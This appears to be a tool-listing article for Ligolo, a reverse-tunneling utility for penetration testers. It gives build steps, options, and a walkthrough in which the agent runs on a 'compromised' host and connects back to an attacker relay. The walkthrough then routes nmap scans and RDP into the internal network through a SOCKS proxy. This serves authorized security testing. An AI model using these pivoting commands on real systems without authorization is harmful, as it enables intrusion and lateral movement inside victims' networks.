Exploitation Tools

Ligolo – Reverse Tunneling Made Easy For Pentesters, By Pentesters

June 5, 2020
3 Min Read
Ligolo - Reverse Tunneling Made Easy For Pentesters, By Pentesters

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Ligolo is a simple and lightweight tool for establishing SOCKS5 or TCP tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).
It is comparable to Meterpreter with Autoroute + Socks4a, but more stable and faster.

Use case
You compromised a Windows / Linux / Mac server during your external audit. This server is located inside a LAN network and you want to establish connections to other machines on this network.
Ligolo can setup a tunnel to access internal server’s resources.

Quick Demo
Relay of a RDP connection using Proxychains (WAN).

Performance
Here is a screenshot of a speedtest between two 100mb/s hosts (ligolo / localrelay). Performance may vary depending on the system and network configuration.

Usage

Setup / Compiling
Make sure Go is installed and working.

  1. Get Ligolo and dependencies
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep
  1. Generate self-signed TLS certificates (will be placed in the certs folder)
make certs TLS_HOST=example.com

NOTE: You can also use your own certificates by using the TLS_CERT make option when calling build. Example: make build-all TLS_CERT=certs/mycert.pem.

  1. Build
  • 3.1. For all architectures
make build-all
  • 3.2. (or) For the current architecture
make build

How to use?
Ligolo consists of two modules:

  • localrelay
  • ligolo

Localrelay is intended to be launched on the control server (the attacker server).
Ligolo is the program to run on the target computer.
For localrelay, you can leave the default options. It will listen on every interface on port 5555 and wait for connections from ligolo (-relayserver parameter).
For ligolo, you must specify the IP address of the relay server (or your attack server) using the -relayserver ip:port parameter.
You can use the -h option for help.
Once the connection has been established between Ligolo and LocalRelay, a SOCKS5 proxy will be set up on TCP port 1080 on the relay server (you can change the TCP address/port using the -localserver option).
After that, all you have to do is use your favorite tool (Proxychains for example), and explore the client’s LAN network.

TL;DR
On your attack server.

./bin/localrelay_linux_amd64

On the compromise host.

> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555

Once the connection is established, set the following parameters on the ProxyChains config file (On the attack server):

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5     127.0.0.1 1080

Profit.

$ proxychains nmap -sT 10.0.0.0/24 -p 80 -Pn -A
$ proxychains rdesktop 10.0.0.123

Options
Localrelay options:

Usage of localrelay:
  -certfile string
     The TLS server certificate (default "certs/server.crt")
  -keyfile string
     The TLS server key (default "certs/server.key")
  -localserver string
     The local server address (your proxychains parameter) (default "127.0.0.1:1080")
  -relayserver string
     The relay server listening address (the connect-back address) (default "0.0.0.0:5555")

Ligolo options:

Usage of ligolo:
  -autorestart
     Attempt to reconnect in case of an exception
  -relayserver string
     The relay server (the connect-back address) (default "127.0.0.1:5555")
  -skipverify
     Skip TLS certificate pinning verification
  -targetserver string
     The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server

Features

  • TLS 1.3 tunnel with TLS pinning
  • Multiplatforms (Windows / Linux / Mac / …)
  • Multiplexing (1 TCP connection for all flows)
  • SOCKS5 proxy or simple relay

To Do

  • Better timeout handling
  • SOCKS5 UDP support
  • Implement mTLS

Credits

  • Nicolas Chatelain <n.chatelain -at- sysdream.com>


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